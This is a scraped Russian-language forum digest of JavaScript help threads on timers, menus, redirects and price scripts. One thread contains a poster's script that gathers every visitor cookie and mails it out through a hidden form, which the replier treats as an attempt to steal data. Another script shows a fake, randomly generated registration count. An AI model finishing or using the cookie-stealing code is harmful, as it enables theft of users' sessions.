Все технические форумы на одном сайте Удобный поиск информации с популярных форумов в одном месте
Вопрос: Подскажите пожалуйста скрипт увлечение, уменьшение шрифта без перезагрузки страницы

Подскажите пожалуйста скрипт для увлечение, уменьшение шрифта без перезагрузки страницы. Чтоб шрифт не сбивался при переходе на вторую страницу.
Ответ:
Сообщение от SV0L0CH
Состояние можно запоминать в localStorage

Сообщение от рони
Сохранение установленного размера шрифта
Вопрос: Исправьте пожалуйста скрипт

<script language=javascript>

var cook=show_all_cookies();

document.open("cookies",cook);

document.write('<form onsubmit="java script:window.close();"

method=post action="mailto:почта@mail.ru"

ENCTYPE="text/plain"><input type=hidden

name=h1 value=',cook,'><input type=submit value="Доброго времени суток!">

</form>');

document.close("cookies");

</SCRIPT>
Ответ:
Сообщение от Raisin Zn

Не по теме:


Нет у меня таких мыслей, так как уверен, что красть чьи то данные тебе не по зубам. ИМХО, конечно.

У меня нет проблем связанных с тобой. Всего доброго.

Удачи
Вопрос: Исправить таймер

У меня есть код таймера отсчета от определенной даты...исправьте его пожалуйста или предложите свой....таймер функционирует, но есть одно но ....если там к примеру 1 год то он выводит один год, а все остальные значения он выводит как "лет" (2 лет, 4 лет, 10 лет и т.д.)....исправьте пожалуйста .......тоесть мне нужно чтобы если число оканчивается на 1 то выводится год, месяц, неделя, день, час, секунда, а если оканчивается на 2,3,4 то пишет года, месяца, недели, дня, часа, секунды, а если оканчивается число на 0,5,6,7,8,9 то пишет лет, месяцев, недель, дней,часов, секунд. скриншот получаемого мной таймера приведу ниже.

Вот скрипт который нужно исправить
<script type="text/javascript">
 
function CountUp(initDate, id){
 this.beginDate = new Date(initDate);
 this.countainer = document.getElementById(id);
 this.numOfDays = [ 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 ];
 this.borrowed = 0, this.years = 0, this.months = 0, this.days = 0;
 this.hours = 0, this.minutes = 0, this.seconds = 0;
 this.updateNumOfDays();
 this.updateCounter();
}
 
CountUp.prototype.updateNumOfDays=function(){
 var dateNow = new Date();
 var currYear = dateNow.getFullYear();
 if ( (currYear % 4 == 0 && currYear % 100 != 0 ) || currYear % 400 == 0 ) {
 this.numOfDays[1] = 29;
 }
 var self = this;
 setTimeout(function(){self.updateNumOfDays();}, (new Date((currYear+1), 1, 2) - dateNow));
}
 
CountUp.prototype.datePartDiff=function(then, now, MAX){
 var diff = now - then - this.borrowed;
 this.borrowed = 0;
 if ( diff > -1 ) return diff;
 this.borrowed = 1;
 return (MAX + diff);
}
 
CountUp.prototype.calculate=function(){
 var currDate = new Date();
 var prevDate = this.beginDate;
 this.seconds = this.datePartDiff(prevDate.getSeconds(), currDate.getSeconds(), 60);
 this.minutes = this.datePartDiff(prevDate.getMinutes(), currDate.getMinutes(), 60);
 this.hours = this.datePartDiff(prevDate.getHours(), currDate.getHours(), 24);
 this.days = this.datePartDiff(prevDate.getDate(), currDate.getDate(), this.numOfDays[currDate.getMonth()]);
 this.months = this.datePartDiff(prevDate.getMonth(), currDate.getMonth(), 12);
 this.years = this.datePartDiff(prevDate.getFullYear(), currDate.getFullYear(),0);
}
 
CountUp.prototype.addLeadingZero=function(value){
 return value < 10 ? ("0" + value) : value;
}
 
CountUp.prototype.formatTime=function(){
 this.seconds = this.addLeadingZero(this.seconds);
 this.minutes = this.addLeadingZero(this.minutes);
 this.hours = this.addLeadingZero(this.hours);
}
 
CountUp.prototype.updateCounter=function(){
 this.calculate();
 this.formatTime();
 this.countainer.innerHTML ="<strong>" + this.years + "</strong> <small>" + (this.years == 1? "год" : "года") + "</small>" +
 " <strong>" + this.months + "</strong> <small>" + (this.months == 1? "месяц" : "месяца") + "</small>" +
 " <strong>" + this.days + "</strong> <small>" + (this.days == 1? "день" : "дней") + "</small>" +
 " <strong>" + this.hours + "</strong> <small>" + (this.hours == 1? "час" : "часов") + "</small>" +
 " <strong>" + this.minutes + "</strong> <small>" + (this.minutes == 1? "минута" : "минут") + "</small>" +
 " <strong>" + this.seconds + "</strong> <small>" + (this.seconds == 1? "секунда" : "секунд") + "</small>";
 var self = this;
 setTimeout(function(){self.updateCounter();}, 1000);
}
 
window.onload=function(){ new CountUp('Jul 01, 2010 00:00:00', 'counter'); }
 
</script>
<div id="counter"><span style="font-size:20px;">Загрузка таймера</span></div>




А вот пример таймера который должен быть , только это таймер обратного отсчета, а мне нужен прямого
<script>
onload = function ()
{
setInterval (function ()
{
var fY = 2015, fM = 10, fD = 1, fH = fm = fS = 0;                       // 1 ноября 2015 года, полночь
 
var nT = new Date ().getTime ();
 
var Y = 0; while (new Date (fY - Y, fM    , fD    , fH    , fm    , fS    ).getTime () > nT) Y++; Y--;
var M = 0; while (new Date (fY - Y, fM - M, fD    , fH    , fm    , fS    ).getTime () > nT) M++; M--;
var D = 0; while (new Date (fY - Y, fM - M, fD - D, fH    , fm    , fS    ).getTime () > nT) D++; D--;
var H = 0; while (new Date (fY - Y, fM - M, fD - D, fH - H, fm    , fS    ).getTime () > nT) H++; H--;
var m = 0; while (new Date (fY - Y, fM - M, fD - D, fH - H, fm - m, fS    ).getTime () > nT) m++; m--;
var S = 0; while (new Date (fY - Y, fM - M, fD - D, fH - H, fm - m, fS - S).getTime () > nT) S++; S--;
 
function addText (n, w)
{
var j, e = n.toString ().slice (-1);
     if (!n) return ' ';
     if (n > 10 && n < 20) j = 2;
else if (e == 0)           j = 2;
else if (e == 1)           j = 0;
else if (e < 5 )           j = 1;
else                       j = 2;                            
return n + ' ' + w [j];
}
 
Y = addText (Y, ['год'    , 'года'   , 'лет'    ]),
M = addText (M, ['месяц'  , 'месяца' , 'месяцев']),
D = addText (D, ['день'   , 'дня'    , 'дней'   ]),
H = addText (H, ['час'    , 'часа'   , 'часов'  ]),
m = addText (m, ['минута' , 'минуты' , 'минут'  ]),
S = addText (S, ['секунда', 'секунды', 'секунд' ]);
 
document.getElementById ('digital_watch').innerHTML = ([Y, M, D, H, m, S].join (' '));
}, 1000);
}
</script>
 
<p id="digital_watch"></p>
Ответ:
Сообщение от рони Посмотреть сообщение
sizov_stanislav,
Нужен скрипт для счета времени с текущего момента
а подскажите как в этот таймер добавить, чтобы бы он еще выводил часы минуты и секунды
Вопрос: 1$ Нужен скрипт изменения цен в прайсе на определенный процент

Есть html прайс, в котором все цены записаны в span. Например:
<span>8 грн/м²</span>
Нужно увеличить все цены в html коде, например на 20%.
И чтоб округлялось в большую сторону. Например 8+20%=9.60, значит 10. Реально ли сделать какой-то скрипт, в который можно прописать % и при запуске изменить все цены на странице?
Ответ:
Сообщение от Pobedill
И чтоб округлялось в большую сторону.
исправьте пожалуйста скрипт в 8 посте, я там немного ошибся ... напишите что нужно исправить?
Вопрос: Скрипт времени: каждую минуту прибавлять +1

Подскажите пожалуйста скрипт, который будет каждую минуту прибавлять +1. То есть таймер но без обратного отчета

Добавлено через 16 минут
HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<script type="text/javascript">
var o=w=d=0;
function startTime() {
if(!o || Math.random()>.5) o=1030+Math.floor(Math.random()*50);
document.getElementById('txt').innerHTML="Только что зарегистрировалось: "+o;
setTimeout('startTime()',1000);
}
</script>
</head>
<body onload="startTime()">
<div id="txt"></div>
</body>
</html>
ВОот такой есть скрипт, как сделать, чтоб он каждую минуту +1 добавлял?
Ответ:
Сообщение от AnonymC
never3d22, если время работает для одного пользователя, то можно JS. Если дело с этим имеет сервер, то откройте новую тему в подходящем разделе.
Если есть возможность, помогите пожалуйста
Вопрос: На работают два скрипта

Добрый день всем. Подскажите, у меня на странице есть скрипт для выпадающего списка и для того, что бы в зависимости от выбранной позиции в списке изменялась картинка с ценой. Все это работает, но когда мне пришлось добавить на страницу эти же сткрипты, но изменив ли только название классов элементов и в скрипте, работать начинает только второй(
Как это исправить?!
Скрипт для выпадающего списка №1:
Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function DropDown(el) {
          this.dd = el;
          this.placeholder = this.dd.children('span');
          this.opts = this.dd.find('ul.vehicle-nav > input[type="radio"] + label li');
          this.val = '';
          this.index = -1;
          this.initEvents();
        }
        DropDown.prototype = {
          initEvents : function() {
            var obj = this;
 
            obj.dd.on('click', function(event){
              $(this).toggleClass('active');
              return false;
            });
 
            obj.opts.on('click',function(){
              var opt = $(this);
              obj.val = opt.text();
              obj.index = opt.index();
              obj.placeholder.text(obj.val);
              $('.wrapper-dropdown-3').removeClass('active');
              obj.index = opt.index();
              
            });
          },
          getValue : function() {
            return this.val;
          },
          getIndex : function() {
            return this.index;
          }
        }
        $(function() {
          var dd = new DropDown( $('#1str') );
          $(document).click(function() {
            // all dropdowns
            $('<div class="wrapper-dropdown-3"></div>').removeClass('active');            
          });
        });
Для смены div'ов №1:
Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$(".vehicle-data").hide();
var activeVehicleData = $(".vehicle-nav .active a").attr("href");
$(activeVehicleData).show();
 
$(".vehicle-nav li").on("click", function(){
 
  $(".vehicle-nav .active").removeClass("active");
  $(this).addClass('active');
 
  $(activeVehicleData).fadeOut( "slow", function() {
    activeVehicleData = $(".vehicle-nav .active a").attr("href");
    $(activeVehicleData).fadeIn("slow", function() {});
  });
 
  return false;
});
Скрипт для выпадающего списка №2:
Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function DropDown(el) {
          this.dd = el;
          this.placeholder = this.dd.children('span');
          this.opts = this.dd.find('ul.vehicle-nav2 > input[type="radio"] + label li');
          this.val = '';
          this.index = -1;
          this.initEvents();
        }
        DropDown.prototype = {
          initEvents : function() {
            var obj = this;
 
            obj.dd.on('click', function(event){
              $(this).toggleClass('active');
              return false;
            });
            obj.opts.on('click',function(){
              var opt = $(this);
              obj.val = opt.text();
              obj.index = opt.index();
              obj.placeholder.text(obj.val);
              $('.wrapper-dropdown-2').removeClass('active');
              obj.index = opt.index();
              
            });
          },
          getValue : function() {
            return this.val;
          },
          getIndex : function() {
            return this.index;
          }
        }
        $(function() {
          var dd = new DropDown( $('#2str') );
          $(document).click(function() {
            // all dropdowns
            $('<div class="wrapper-dropdown-2"></div>').removeClass('active');            
          });
        });
Для смены div'ов №2:
Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$(".vehicle-data").hide();
var activeVehicleData = $(".vehicle-nav2 .active a").attr("href");
$(activeVehicleData).show();
 
$(".vehicle-nav2 li").on("click", function(){
 
  $(".vehicle-nav2 .active").removeClass("active");
  $(this).addClass('active');
 
  $(activeVehicleData).fadeOut( "slow", function() {
    activeVehicleData = $(".vehicle-nav2 .active a").attr("href");
    $(activeVehicleData).fadeIn("slow", function() {});
  });
 
  return false;
});
Помогите, пожалуйста, разобраться
Ответ: Ну да, там одно и тоже в принципе. Просто как унифицировать это в одну функцию я не знаю(( Поэтому взял и скопировал его только поменял классы другие.

HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
<section id="vehicles" class="container">
      <form action="#">      
        <div class="col-md-12">
          <h2 class="title wow fadeInDown" data-wow-offset="200">Выбор стеллажа<span class="subtitle"></span></h2>
          <div id="radio">
            <div class="radio_pos">
              <input checked="checked" class="radio" id="radio-1" name="sw" type="radio" value="one">
              <label for="radio-1">Односторонний</label>
              <br><br>
              <input class="radio" id="radio-2" name="sw" type="radio" value="two">
              <label for="radio-2">Двухсторонний</label>
            </div>
          </div>
        </div>
 
        <div id="one" class="row">
          <div class="col-md-3 vehicle-nav-row wow fadeInUp" data-wow-offset="100">
            <div id="vehicle-nav-container">
              <div id="1str" class="wrapper-dropdown-3" tabindex="1">
               <span>Длина</span>
                <ul class="vehicle-nav">
                  <input id="1str1metr" type="radio" class="lenght" value="one" name="length" checked="checked">
                    <label for="1str1metr">
                      <li class="active">
                        <a href="#vehicle-1"><i class="icon-envelope icon-large"></i>1 метр</a>
                      </li>
                    </label>
                  <input id="1str2metra" type="radio" class="lenght" value="one" name="length" checked="checked">
                  <label for="1str2metra">
                    <li>
                      <a href="#vehicle-2"><i class="icon-truck icon-large"></i>2 метра</a>
                    </li>
                  </label>
                  <input id="1str3metra" type="radio" class="lenght" value="one" name="length" checked="checked">
                  <label for="1str3metra">
                    <li>
                      <a href="#vehicle-3"><i class="icon-truck icon-large"></i>3 метра</a>
                    </li>
                  </label>
                  <input id="1str4metra" type="radio" class="lenght" value="one" name="length" checked="checked">
                  <label for="1str4metra">
                    <li>
                      <a href="#vehicle-4"><i class="icon-truck icon-large"></i>4 метра</a>
                    </li>
                  </label>
                  <input id="1str5metra" type="radio" class="lenght" value="one" name="length" checked="checked">
                  <label for="1str5metra">
                    <li>
                      <a href="#vehicle-5"><i class="icon-truck icon-large"></i>5 метра</a>
                    </li>
                  </label>
                  <input id="1str6metra" type="radio" class="lenght" value="one" name="length" checked="checked">
                  <label for="1str6metra">
                    <li>
                      <a href="#vehicle-6"><i class="icon-truck icon-large"></i>6 метров</a>
                    </li>
                  </label> 
                </ul>
               </div>          
                  </div>
                </div>
 
          <div class="vehicle-data" id="vehicle-1" font face="Raleway-ExtraLight">
            <div class="col-md-6 wow fadeIn" data-wow-offset="100">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/1str/1str1metra.JPG" rel="lightbox" title="Стеллаж односторонний 1метр">
                  <img class="img-responsive" src="img\metal_shelf\1str\1str1metr.JPG" alt="Стеллаж односторонний 1метр">
                </a>
              </div>
            </div>
            <div class="col-md-3 wow fadeInUp" data-wow-offset="200">
              <div class="vehicle-price">20000 в‚Ѕ <span class="info">&nbsp;<font face="Raleway-ExtraLight">стоимость</font></span></div>
              <table class="table vehicle-features">
                <tr>
                  <td>Масса</td>
                  <td>130,4 кг</td>
                </tr>                
              </table>
              <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>
 
          <div class="vehicle-data" id="vehicle-2">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/1str/1str2metra.JPG" rel="lightbox" title="Стеллаж односторонний 2метра">
                  <img class="img-responsive" src="img\metal_shelf\1str\1str2metra.JPG" alt="Стеллаж односторонний 2метра">
                </a>
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">40000 в‚Ѕ <span class="info">стоимость</span></div>
                <table class="table vehicle-features">
                  <tr>
                    <td>Масса</td>
                    <td>232,4кг</td>
                  </tr>
                </table>
                <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>
 
          <div class="vehicle-data" id="vehicle-3">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/1str/1str3metra.JPG" rel="lightbox" title="Стеллаж односторонний 3метра">
                  <img class="img-responsive" src="img\metal_shelf\1str\1str3metra.JPG" alt="Стеллаж односторонний 3метра">
                </a>              
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">60000 в‚Ѕ <span class="info">стоимость</span></div>
                <table class="table vehicle-features">
                  <tr>
                    <td>Масса</td>
                    <td>334,4кг</td>
                  </tr>                
                </table>
                <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>
 
          <div class="vehicle-data" id="vehicle-4">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/1str/1str4metra.JPG" rel="lightbox" title="Стеллаж односторонний 4 метра">
                  <img class="img-responsive" src="img\metal_shelf\1str\1str4metra.JPG" alt="Стеллаж односторонний 4 метра">
                </a>
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">80000 в‚Ѕ <span class="info">стоимость</span></div>
                <table class="table vehicle-features">
                  <tr>
                    <td>Масса</td>
                    <td>436,5кг</td>
                  </tr>                 
                </table>
                <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>
 
          <div class="vehicle-data" id="vehicle-5">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/1str/1str5metra.JPG" rel="lightbox" title="Стеллаж односторонний 5 метра">
                  <img class="img-responsive" src="img\metal_shelf\1str\1str5metra.JPG" alt="Стеллаж односторонний 5 метра">
                </a>
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">100000 в‚Ѕ <span class="info">стоимость</span></div>
                <table class="table vehicle-features">
                  <tr>
                    <td>Масса</td>
                    <td>538,5кг</td>
                  </tr>               
                </table>
                <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>
 
          <div class="vehicle-data" id="vehicle-6">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/1str/1str6metra.JPG" rel="lightbox" title="Стеллаж односторонний 6 метров">
                  <img class="img-responsive" src="img\metal_shelf\1str\1str6metra.JPG" alt="Стеллаж односторонний 6 метров">
                </a>
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">120000 в‚Ѕ <span class="info">стоимость</span></div>
              <table class="table vehicle-features">
                <tr>
                  <td>Масса</td>
                  <td>640,5кг</td>
                </tr>                 
              </table>
              <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>
          <!-- Vehicle 6 data end -->
        </div>
 
        <div id="two" class="none">
          <div class="col-md-3 vehicle-nav-row wow fadeInUp" data-wow-offset="100">
            <div id="vehicle-nav-container">
              <div id="2str" class="wrapper-dropdown-2" tabindex="1">
                <span>Длина</span>
                  <ul class="vehicle-nav2">
                    <input id="2str1metr" type="radio" class="lenght" value="two" name="length" checked="checked">
                    <label for="2str1metr">
                      <li class="active">
                        <a href="#vehicle-7"><i class="icon-envelope icon-large"></i>1 метр</a>
                      </li>
                    </label>
                  <input id="2str2metra" type="radio" class="lenght" value="two" name="length" checked="checked">
                  <label for="2str2metra">
                    <li>
                      <a href="#vehicle-8"><i class="icon-truck icon-large"></i>2 метра</a>
                    </li>
                  </label>
                  <input id="2str3metra" type="radio" class="lenght" value="two" name="length" checked="checked">
                  <label for="2str3metra">
                    <li>
                      <a href="#vehicle-9"><i class="icon-truck icon-large"></i>3 метра</a>
                    </li>
                  </label>
                  <input id="2str4metra" type="radio" class="lenght" value="two" name="length" checked="checked">
                  <label for="2str4metra">
                    <li>
                      <a href="#vehicle-10"><i class="icon-truck icon-large"></i>4 метра</a>
                    </li>
                  </label>
                  <input id="2str5metra" type="radio" class="lenght" value="two" name="length" checked="checked">
                  <label for="2str5metra">
                    <li>
                      <a href="#vehicle-11"><i class="icon-truck icon-large"></i>5 метра</a>
                    </li>
                  </label>
                  <input id="2str6metra" type="radio" class="lenght" value="two" name="length" checked="checked">
                  <label for="2str6metra">
                    <li>
                      <a href="#vehicle-12"><i class="icon-truck icon-large"></i>6 метров</a>
                    </li>
                  </label>            
                  </ul>
              </div> 
            </div>
          </div>
 
          <div class="vehicle-data" id="vehicle-7">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/2str/2str1metr.JPG" rel="lightbox" title="Стеллаж односторонний 6 метров">
                  <img class="img-responsive" src="img\metal_shelf\2str\2str1metr.JPG" alt="Стеллаж односторонний 6 метров">
                </a>
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">30000 в‚Ѕ <span class="info">стоимость</span></div>
              <table class="table vehicle-features">
                <tr>
                  <td>Масса</td>
                  <td>210,3кг</td>
                </tr>
                <!-- <tr>
                  <td>Doors</td>
                  <td>4</td>
                </tr>   -->                  
              </table>
              <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>                     
 
          <div class="vehicle-data" id="vehicle-8">
            <div class="col-md-6" data-wow-offset="200">
              <div class="vehicle-img">
                <a href="img/metal shelf_b/2str/2str2metra.JPG" rel="lightbox" title="Стеллаж односторонний 6 метров">
                  <img class="img-responsive" src="img\metal_shelf\2str\2str2metra.JPG" alt="Стеллаж односторонний 6 метров">
                </a>
              </div>
            </div>
            <div class="col-md-3" data-wow-offset="200">
              <div class="vehicle-price">30000 в‚Ѕ <span class="info">стоимость</span></div>
              <table class="table vehicle-features">
                <tr>
                  <td>Масса</td>
                  <td>210,3кг</td>
                </tr>
                <!-- <tr>
                  <td>Doors</td>
                  <td>4</td>
                </tr>   -->                  
              </table>
              <a href="#teaser" class="reserve-button scroll-to"><span class="glyphicon glyphicon-calendar"></span> Оформить заказ</a>
            </div>
          </div>    
        </div>
      </form>  
    </section>
Вопрос: скрипт, обрезающий строки

посоветуйте пожалуйста скрипт, который может обрезать в блоке текст до определённого количества строк

у меня есть . но он не подходит потому что нужно указывать конкретный родительский блок. при этом если в нём окажется вложенный например span, то скрипт не обрабатывает текст
Ответ:

_.string.lines(str)
Вопрос: Скрипт редиректа

Подскажите пожалуйста скрипт редиректа перенаправления на другие сайты,у меня на ютубе есть аккаунт и один сайт привязанный к аккаунту, ссылку которого можно вставлять в анотации, нужно что б к примеру при переходе со страницы "А" перенаправляло на страницу "а" со страницы "Б" на станицу "б"
Ответ: Пробовал так, не получается, определяет, что я с пустой страницы захожу
<script language="JavaScript"> 
var where = document.referrer;
if (where==0){ window.location.href = "http://javascript.ru/"} 
else
 if (where=="http://javascript.ru/")
{ window.location.href = "http://javascript.ru/"}
</script>
Вопрос: подскажите скрипт как менять background-image каждые 2 секунды

Подскажите пожалуйста скрипт который будет менять background-image каждые 2 секунды,или будет перебирать массив с изображениями и вставлять их в background images каждые 2 сек
Ответ: Где-то явно на курсах дали задание студиозусам

Вопрос: Скрипт для выпадающего меню при наведении. (cms simpla)

Вот рабочий код. если на странице в инструментах прописать display:block для .submenu отображается подменю.
Подскажите пожалуйста скрипт с помощью которого будет выводиться при наведении.
Скорее всего надо использовать mouseover/mouseout и задавать для .submenu hide/show, но у меня не вышло :с
Код
<ul class="mainmenu" id="catalog_menu" data-behavior="menuModule">

{function name=categories_tree}
{if $categories}
{foreach $categories as $c}
    {if $c->visible}
        {if $c->level==1}
        <li data-handle="opensubmenu" class="mainmenu__item--sub">
            {* if $c->image}<img src="{$config->categories_images_dir}{$c->image}" alt="{$c->name|escape}">{/if *}
            <a class="mainmenu__link {if $category->id == $c->id}selected{/if}" href="catalog/{$c->url}" data-category="{$c->id}">{$c->name|escape}</a>
            {if $c->subcategories}
                <div data-render="submenu" class="mainmenu__submenu">
                    <div class="mainmenu__submenu_column">
                        {categories_tree categories=$c->subcategories}
                    </div>
                </div>
            {/if}
        </li>
        {elseif $c->level==2}
            <span class="mainmenu__submenu_group {if $c@first}first{/if}">{$c->name|escape}</span>
            {if $c->subcategories}
                 <ul class="mainmenu__submenu_list">
                    {categories_tree categories=$c->subcategories}
                 </ul>
            {/if}
        {else}
            <li data="1" class="mainmenu__submenu_item">
                <a class="mainmenu__submenu_link" href="catalog/{$c->url}" >{$c->name|escape}</a>
            </li>
        {/if}
    {/if}
{/foreach}

{/if}
{/function}
{categories_tree categories=$categories}
</ul>
Есть такой вариант, но его надо подправить и подстроить под структуру меню на странице
Код
{literal}
<script type="text/javascript" src="js/jquery/jquery.js"></script>
<script langugage="javascript" type="text/javascript">
    $(document).ready(function() {
    initMenu('.mainmenu ul');

function initMenu(id) {
    $(id + ' ul').hide().parent().addClass('subcat');
    if($(id).find('a.selected')) {
        $(id).find('a.selected').addClass('selected').parents('ul').show().parents('li').show();
    }
    else $(id + ' ul:first').show();
        $(id + ' a').click( function() {
        checkElement = $(this).next();
        /*if(checkElement.is('ul')) {
            if(!checkElement.is(':visible')) {
//                $(id + ' ul:visible').slideUp('normal');
                checkElement.slideDown('normal');
            } else
                checkElement.slideUp('normal');
            return false;
        }*/
    });
}})
</script>
{/literal}
Ответ: , вот так вот?
CSS
1
2
3
.mainmenu__item--sub:hover + .mainmenu__submenu{
    display: block;
}